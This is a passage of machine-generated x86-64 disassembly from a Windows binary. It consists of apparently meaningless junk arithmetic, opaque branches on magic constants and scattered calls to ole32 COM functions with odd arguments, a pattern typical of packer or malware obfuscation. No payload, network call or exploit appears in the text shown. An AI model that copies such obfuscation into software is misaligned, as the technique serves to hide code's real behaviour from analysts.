mov rcx, qword [rsp + 0x32f8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x34a8]
mov word [rcx], ax
jmp 0x140009102
mov rax, qword [rsp + 0x3328]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
jmp 0x14000918b
mov rax, qword [rsp + 0x3430]
movzx eax, byte [rax]
mov byte [rsp + 0x1b84], al
cmp byte [rsp + 0x1b84], 0xc2
je 0x140009125
jmp 0x14000918b
movzx r8d, word [rsp + 0x7a8]
mov rax, qword [rsp + 0x3330]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0xc8]
call fcn.1400d9880
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b4]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
lea r8, [rsp + 0xcb]
lea rdx, [rsp + 0x14720]
lea rcx, [rsp + 0x1b88]
call qword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [rsp + 0x1b8c], eax
movzx eax, word [rsp + 0x770]
mov dword [rsp + 0x1b90], eax
cmp dword [rsp + 0x1b90], 0xe7
je 0x140009261
cmp dword [rsp + 0x1b90], 0x74b
je 0x1400091bd
jmp 0x140009279
lea rdx, [rsp + 0x3368]
lea rcx, [rsp + 0x14730]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x1b24], eax
movzx eax, byte [rsp + 0xc9]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3290]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1858]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32f8]
mov ecx, dword [rcx]
mov edx, dword [0x1400f3004]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14000925f
mov rax, qword [rsp + 0x3310]
mov rdx, qword [rax]
movzx ecx, byte [0x1400f3f16]
call fcn.1400d9280
nop
jmp 0x140009279
mov eax, dword [rsp + 0x1b0c]
mov ecx, dword [0x1400f3f10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a98], eax
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0x1b94], al
cmp byte [rsp + 0x1b94], 0
je 0x1400092a1
cmp byte [rsp + 0x1b94], 0x5a
je 0x1400092f2
jmp 0x140009377
mov rax, qword [rsp + 0x3420]
mov qword [rsp + 0x34c8], rax
mov rax, qword [rsp + 0x33c0]
mov rcx, qword [rsp + 0x34b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1858], eax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
jmp 0x140009377
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov dword [rsp + 0x1b98], eax
cmp dword [rsp + 0x1b98], 0xd1d
je 0x140009313
jmp 0x14000934a
movzx eax, word [rsp + 0x7ac]
movzx ecx, word [rsp + 0x770]
shl eax, cl
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movzx edx, byte [0x1400f3f16]
mov rax, qword [rsp + 0x32e8]
movzx ecx, word [rax]
call fcn.1400d9420
nop
jmp 0x140009377
movzx eax, word [rsp + 0x7ac]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x1b9c], eax
mov rax, qword [rsp + 0x32e0]
mov eax, dword [rax]
mov dword [rsp + 0x1ba0], eax
cmp dword [rsp + 0x1ba0], 0
je 0x1400093e6
cmp dword [rsp + 0x1ba0], 0xed5409af
je 0x1400093a4
jmp 0x140009428
movsx eax, word [rsp + 0x7a4]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x778], ax
mov rax, qword [rsp + 0x32e0]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x3400]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x1a84]
call fcn.1400d8af0
nop
jmp 0x140009428
movzx eax, byte [0x1400f3008]
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x32a8]
mov qword [rsp + 0x34d0], rax
mov rax, qword [rsp + 0x3368]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3290]
shr rax, cl
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
lea rax, [rsp + 0x1a84]
mov qword [rsp + 0x34d8], rax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov dword [rsp + 0x1ba4], eax
cmp dword [rsp + 0x1ba4], 0x34428b6
je 0x140009458
jmp 0x1400094b8
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
lea rdx, [rsp + 0x14710]
lea rcx, str.discontinue_Foundations_Ninety_declaratory_Inquorate
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov dword [rsp + 0x1ba8], eax
movzx r8d, word [rsp + 0x7b0]
mov rax, qword [rsp + 0x32e8]
movzx edx, word [rax]
mov rax, qword [rsp + 0x32a0]
movzx ecx, byte [rax]
call fcn.1400d9880
nop
jmp 0x140009534
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov dword [rsp + 0x1bac], eax
cmp dword [rsp + 0x1bac], 0x3f63e651
je 0x1400094d8
jmp 0x140009534
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3430]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
movzx eax, word [rsp + 0x7b0]
movzx ecx, word [rsp + 0x7ac]
add eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400f3018], ax
movsx eax, word [rsp + 0x778]
movsx ecx, word [rsp + 0x7a4]
sub eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3490]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x3290]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x1400d7f2f
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d8]
mov eax, dword [rax]
mov dword [rsp + 0x1bb0], eax
cmp dword [rsp + 0x1bb0], 0
je 0x1400095e7
jmp 0x1400d7ea3
movzx eax, byte [rsp + 0xc9]
mov byte [rsp + 0xcd], al
cmp dword [rsp + 0x1b78], 0x70f5
ja 0x1400097e9
movsx eax, byte [0x1400f3f16]
movsx ecx, byte [0x1400f3008]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov eax, dword [rsp + 0x1b78]
add eax, 0x14
mov dword [rsp + 0x1b78], eax
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x3320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b0c], eax
mov rax, qword [rsp + 0x3310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3448]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0x34b0]
mov rcx, qword [rsp + 0x32e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [str._tt_6_]
sar eax, cl
mov byte [rsp + 0xcd], al
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
shl eax, cl
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7ac], ax
movsx eax, byte [0x1400f3008]
movsx ecx, byte [0x1400f3f16]
sub eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x3448]
mov rcx, qword [rsp + 0x32a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x34c8], rax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [rsp + 0x1a98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x33c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1b6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [0x1400f3018]
sub eax, ecx
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
movsx eax, byte [0x1400f3008]
movsx ecx, byte [0x1400f3f16]
sub eax, ecx
mov byte [rsp + 0xcc], al
jmp 0x1400095f6
cmp dword [rsp + 0x1aac], 0xaf80
jbe 0x140009a7f
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
add eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sub eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3290]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3418]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3480]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3420]
sar rax, cl
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3378]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x3320]
mov qword [rsp + 0x34e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34e0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1a84]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b6c], eax
movzx eax, byte [rsp + 0xc9]
movzx ecx, byte [rsp + 0xc8]
and eax, ecx
mov rcx, qword [rsp + 0x3430]
mov byte [rcx], al
movsx eax, byte [0x1400f3f16]
movsx ecx, byte [0x1400f3008]
add eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x34a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x32b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x3418]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3310]
mov rcx, qword [rsp + 0x34c8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1aac]
sub eax, 0xfa
mov dword [rsp + 0x1aac], eax
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x34d8]
mov rcx, qword [rsp + 0x33c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1858], eax
movsx eax, word [rsp + 0x778]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x33f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3330]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3470]
mov word [rcx], ax
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
or eax, ecx
mov rcx, qword [rsp + 0x34a8]
mov word [rcx], ax
jmp 0x1400097e9
mov rax, qword [rsp + 0x34d0]
mov rcx, qword [rsp + 0x3300]
mov qword [rsp + 0x34e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34e8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x3480]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xc8]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32a0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a84]
mov ecx, dword [rsp + 0x1b6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3378]
mov ecx, dword [0x1400f3f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x1aa8], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3300]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3388]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
movsx eax, byte [0x1400f3f16]
movsx ecx, byte [0x1400f3008]
add eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f3018], ax
mov rax, qword [rsp + 0x32e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x770]
sub eax, ecx
mov word [rsp + 0x7b4], ax
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x33d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7a4], ax
mov eax, dword [section..data]
mov rcx, qword [rsp + 0x32e0]
mov qword [rsp + 0x34f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x34f0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x1858], eax
mov rax, qword [rsp + 0x3370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3448]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x32a8], rax
mov eax, dword [rsp + 0x1a98]
movzx ecx, al
mov eax, dword [rsp + 0x1b0c]
shl eax, cl
mov rcx, qword [rsp + 0x3378]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3418]
mov rcx, qword [rsp + 0x3318]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xca]
and eax, ecx
mov rcx, qword [rsp + 0x3388]
mov byte [rcx], al
mov rax, qword [rsp + 0x3400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x778]
add eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7a8], ax
mov rax, qword [0x1400f3010]
mov rcx, qword [rsp + 0x34d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
mov rax, qword [rsp + 0x34a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7a4]
add eax, ecx
mov rcx, qword [rsp + 0x3400]
mov word [rcx], ax
mov eax, dword [rsp + 0x1858]
mov ecx, dword [rsp + 0x1b6c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a84], eax
mov rax, qword [rsp + 0x32d8]
mov rcx, qword [rsp + 0x3420]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x34c8], rax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3290], rax
mov rax, qword [rsp + 0x3440]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1aa8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xca]
mov rcx, qword [rsp + 0x3388]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
mov eax, dword [rsp + 0x1b58]
add eax, 0xcc
mov dword [rsp + 0x1b58], eax
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
movsx eax, word [rsp + 0x778]
movsx ecx, word [0x1400f3f14]
xor eax, ecx
mov word [rsp + 0x7a4], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc8]
shl eax, cl
mov byte [str._tt_6_], al
movsx eax, byte [0x1400f3008]
movsx ecx, byte [0x1400f3f16]
or eax, ecx
mov byte [rsp + 0xcc], al
mov rax, qword [rsp + 0x32f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1a84]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x33c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x33c8]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x32d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3290]
mov rcx, qword [rsp + 0x3490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3318], rax
mov eax, dword [rsp + 0x1a98]
mov ecx, dword [rsp + 0x1aa8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3440]
mov dword [rcx], eax
cmp dword [rsp + 0x1b58], 0x946f
jne 0x140009a7f
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x7ac], ax
lea rax, [0x1400f3008]
mov qword [rsp + 0x34f8], rax
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x1bb4], al
cmp byte [rsp + 0x1bb4], 0xdc
je 0x140009f02
cmp byte [rsp + 0x1bb4], 0x61
je 0x140009ffe
jmp 0x14000a0b9
mov rax, qword [rsp + 0x33f0]
movzx eax, word [rax]
mov word [rsp + 0x7b8], ax
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov qword [rsp + 0x3500], rax
movabs rax, 0x1e7a9651bf20726c
cmp qword [rsp + 0x3500], rax
je 0x140009fd5
movabs rax, 0x643a1ed9506834c5
cmp qword [rsp + 0x3500], rax
je 0x140009f59
jmp 0x140009ff9
mov rax, qword [rsp + 0x34b0]
mov eax, dword [rax]
mov dword [rsp + 0x1bb8], eax
cmp dword [rsp + 0x1bb8], 0x27b00432
je 0x140009f79
jmp 0x140009fb4
lea rdx, [rsp + 0x1a70]
lea rcx, [rsp + 0x146c0]
call qword [sym.imp.ole32.dll_CoGetObjectContext]
mov dword [rsp + 0x1bbc], eax
movzx eax, word [rsp + 0x7ac]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f3018], ax
jmp 0x140009fd3
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
jmp 0x140009ff9
mov rax, qword [rsp + 0x32b0]
mov rcx, qword [rsp + 0x3368]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x32b0]
mov qword [rcx], rax
jmp 0x14000a0b9
mov eax, dword [rsp + 0x1b6c]
mov dword [rsp + 0x1bc0], eax
cmp dword [rsp + 0x1bc0], 0x2711c3e4
je 0x14000a02b
cmp dword [rsp + 0x1bc0], 0xa04fdadc
je 0x14000a082
jmp 0x14000a0b9
mov rax, qword [rsp + 0x3320]
mov rcx, qword [rsp + 0x3440]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1a98], eax
movzx r8d, word [rsp + 0x7a8]
movzx edx, word [rsp + 0x7b4]
mov rax, qword [rsp + 0x3430]
movzx ecx, byte [rax]
call fcn.1400d9880
mov edx, 0x9e
mov ecx, 0x87
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x1b18], eax
jmp 0x14000a0b9
mov rax, qword [rsp + 0x3300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x33c8]
mov qword [rsp + 0x3508], rcx
movzx ecx, al
mov rax, qword [rsp + 0x3508]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
lea rax, [rsp + 0x1858]
mov qword [rsp + 0x3510], rax
movzx eax, word [rsp + 0x7b0]
mov dword [rsp + 0x1bc4], eax
cmp dword [rsp + 0x1bc4], 0x190
je 0x14000a0fb
cmp dword [rsp + 0x1bc4], 0xdc7
je 0x14000a19f
jmp 0x14000a1d4
mov rax, qword [rsp + 0x32d8]
mov rax, qword [rax]
mov qword [rsp + 0x3518], rax
movabs rax, 0xae5a4721600613d
cmp qword [rsp + 0x3518], rax
je 0x14000a124
jmp 0x14000a15b
lea rdx, [rsp + 0xcc]
mov ecx, 0x71
call qword [sym.imp.ole32.dll_GetRunningObjectTable]
mov dword [rsp + 0x1ba8], eax
movzx eax, byte [str._tt_6_]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xc8], al
jmp 0x14000a19d
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x7b0]
shl eax, cl
mov rcx, qword [rsp + 0x32e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x32b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x32a0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3328]
mov byte [rcx], al
jmp 0x14000a1d4
movsx eax, word [rsp + 0x7b8]
mov rcx, qword [rsp + 0x3400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400f3f14], ax
movzx edx, byte [rsp + 0xcc]
mov rax, qword [rsp + 0x32e8]
movzx ecx, word [rax]
call fcn.1400d9420
nop
mov rax, qword [rsp + 0x3330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3470]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x32e8]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x770]
sub ecx, edx
cmp eax, ecx
jne 0x1400d7e82
movzx eax, byte [rsp + 0xcc]
mov byte [rsp + 0x1bc8], al
cmp byte [rsp + 0x1bc8], 0x70
je 0x14000a231
cmp byte [rsp + 0x1bc8], 0x72
je 0x14000a29a
jmp 0x14000a2d4
lea r9, [rsp + 0x14700]
lea r8, [rsp + 0x146f0]
lea rdx, [rsp + 0x32e8]
lea rcx, [rsp + 0x14740]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0x1ad4], eax
lea r8, [rsp + 0x1a84]
mov edx, 0x4d
lea rcx, [rsp + 0x14690]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x1b8c], eax
movzx eax, word [0x1400f3018]
movzx ecx, word [rsp + 0x7ac]
add eax, ecx
mov word [rsp + 0x7b4], ax
jmp 0x14000a2d4
mov eax, dword [rsp + 0x1b6c]
mov ecx, dword [rsp + 0x1858]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x32e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3318]
mov rcx, qword [rsp + 0x3290]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3490], rax
mov rax, qword [rsp + 0x3440]
mov rcx, qword [rsp + 0x3378]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3300]
mov rcx, qword [rsp + 0x32d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x33c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x33d8]
movsx eax, word [rax]
mov dword [rsp + 0x1bcc], eax
cmp dword [rsp + 0x1bcc], 0
je 0x14000a346
cmp dword [rsp + 0x1bcc], 0x1518
je 0x14000a390
jmp 0x14000a3e9
movzx eax, byte [rsp + 0xcb]
mov byte [rsp + 0xce], al
mov rax, qword [rsp + 0x33f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x7b8]
and eax, ecx
mov rcx, qword [rsp + 0x33d8]
mov word [rcx], ax
movsx eax, word [rsp + 0x7a4]
movsx ecx, word [rsp + 0x7b8]
shl eax, cl
mov word [0x1400f301c], ax
jmp 0x14000a3e9
mov rax, qword [rsp + 0x34f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcc]
xor eax, ecx
mov rcx, qword [rsp + 0x34f8]
mov byte [rcx], al
movzx r8d, word [rsp + 0x7b0]
movzx edx, word [0x1400f3018]
movzx ecx, byte [rsp + 0xcd]
call fcn.1400d9880
movzx eax, word [rsp + 0x770]
movzx ecx, word [rsp + 0x7b0]
or eax, ecx
mov rcx, qword [rsp + 0x3330]
mov word [rcx], ax
mov rax, qword [rsp + 0x32a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x3328]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xbe], al
mov rax, qword [rsp + 0x3470]
movzx eax, word [rax]
mov dword [rsp + 0x1bd0], eax
cmp dword [rsp + 0x1bd0], 0xc55
je 0x14000a42c
jmp 0x14000a4fc
mov rax, qword [rsp + 0x3448]
mov rcx, qword [rsp + 0x3420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3480]
mov rdx, qword [rsp + 0x34d0]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jg 0x14000a4c1
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x1bd4], al
cmp byte [rsp + 0x1bd4], 0x58
je 0x14000a482
cmp byte [rsp + 0x1bd4], 0x8d
je 0x14000a4a8
jmp 0x14000a4c1
mov rax, qword [rsp + 0x3370]
mov rcx, qword [rsp + 0x3310]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3370]
mov qword [rcx], rax
jmp 0x14000a4c1
movzx edx, byte [rsp + 0xcc]
mov rax, qword [rsp + 0x32e8]
movzx ecx, word [rax]
call fcn.1400d9420
nop
lea rcx, [rsp + 0x34f8]
call qword [sym.imp.ole32.dll_CoDisableCallCancellation]
mov dword [rsp + 0x1bd8], eax
mov rax, qword [rsp + 0x3368]
mov rcx, qword [rsp + 0x32b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3318], rax
jmp 0x1400d7e54
mov rax, qword [rsp + 0x32a8]
mov rcx, qword [rsp + 0x34c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3370]
mov rcx, qword [rcx]
